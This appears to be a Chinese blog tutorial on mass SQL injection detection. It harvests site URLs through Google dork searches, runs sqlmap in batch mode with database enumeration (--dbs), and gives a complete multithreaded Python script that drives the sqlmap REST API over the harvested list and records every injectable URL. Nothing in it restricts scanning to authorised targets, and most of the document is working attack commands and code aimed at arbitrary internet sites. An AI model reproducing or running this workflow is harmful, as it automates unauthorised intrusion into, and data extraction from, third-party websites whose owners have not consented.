利用Sqlmap API接口联动Google Hacking批量SQL注入检测
前言
挖掘SQL注入漏洞的一种方式就是通过Google Hacking搜索那些可能存在SQL的URL,然后手工的探测注入点。但是现在的SQL注入漏洞的网站是比较少的了,所以这样一个一个手工测效率有一点低。
sqlmap比较好的一点是可批量扫描多个URL中的注入点,比如这样:
准备一个包含要扫描的URL列表的文件(每个URL占一行),然后使用 -m 选项指定要扫描的这个URL文件,执行如下的命令就可以:
sqlmap -m urls.txt --batch --level=3 --random-agent --dbs
还可以使用 --threads 来指定要使用的线程数。
slghack自动化搜集URL
最近写了一个小的python爬虫脚本,能从Google页面批量爬取URL。
slghack是一个基于Python第三方库yagooglesearch开发的,使用之前需要安装依赖: pip install yagooglesearch
。
Sqlmap API
在Sqlmap项目的根目录下面有个sqlmapapi.py,可能很少有人注意到。
sqlmapapi.py就是sqlmap的分布式扫描sql注入,可以利用sqlmapapi.py开启服务端口,然后向sqlmapapi发送请求,就可以进行sql注入。
使用方法也很简单 python sqlmapapi.py -s
,在本地的8775端口就会开启一个sqlmapapi 的服务,也可以通过 -p 指定端口。
sqlmapapi 没有官方的API文档,只有一些第三方的文档。
参考文档:Unofficial SQLmap RESTful API documentation
大致工作流程:
-
通过GET请求
http://ip:port/task/new
创建一个新的扫描任务 -
通过POST请求
http://ip:port/scan/start
并通过json格式提交参数,开启一个扫描 -
通过GET请求
http://ip:port/scan//status
来获取指定的taskid的扫描状态:一种是run状态,一种是terminated状态 -
扫描完成后获取扫描的结果
脚本slghack_sqli
把slghack搜集到的URL复制到sql_urls.txt里面,就可以多线程批量检测了。
import json
import queue
import requests
from threading import Thread
from time import sleep
class slghack_sqli:
def __init__(self, server="http://127.0.0.1:8775", urlsfile=None, output="sqli_result.txt"):
self.server = server
self.urlsfile = urlsfile
self.ouput = output
self.task_queue = queue.Queue()
def get_urls(self):
with open(self.urlsfile, "r") as f:
for url in f.readlines():
self.task_queue.put(url.strip())
def sent_server(self):
threads = []
while not self.task_queue.empty():
url = self.task_queue.get().strip()
print(f"Target URL: {url}")
t = Thread(target=self.scan, args=(url,))
threads.append(t)
t.start()
for t in threads:
t.join()
def scan(self, url):
try:
# 通过GET请求 http://ip:port/task/new 创建一个新的扫描任务
r = requests.get(f"{self.server}/task/new")
taskid = r.json()['taskid']
# 通过POST请求 http://ip:port/scan/start 并通过json格式提交参数,开启一个扫描
r = requests.post(
f"{self.server}/scan/{taskid}/start",
data=json.dumps({'url': url}), headers={'content-type': 'application/json'}
)
# 通过GET请求 http://ip:port/scan//status 来获取指定的taskid的扫描状态
r = requests.get(f"{self.server}/scan/{taskid}/status")
count = 0
while r.json()["status"] == "running":
sleep(6)
r = requests.get(f"{self.server}/scan/{taskid}/status")
print(r.json()["status"])
count += 1
if count == 30:
# 每个task最多跑6*30=180s结束
requests.get(f"{self.server}/scan/{taskid}/stop")
r = requests.get(f"{self.server}/scan/{taskid}/data")
requests.get(f"{self.server}/scan/{taskid}/delete")
if r.json()['data']:
print("Injection found: " + url)
with open(self.ouput, "a") as f:
f.write(url + "\n")
except requests.ConnectionError:
print("Connection error!")
if __name__ == '__main__':
# 把slghack跑的结果复制到sql_urls.txt
ssqli = slghack_sqli(urlsfile='sql_urls.txt')
ssqli.get_urls()
ssqli.sent_server()
这种批量扫描,比手工测试的效率肯定要高很多。
参考文章: https://www.freebuf.com/articles/web/204875.html
若有错误,欢迎指正!o( ̄▽ ̄)ブ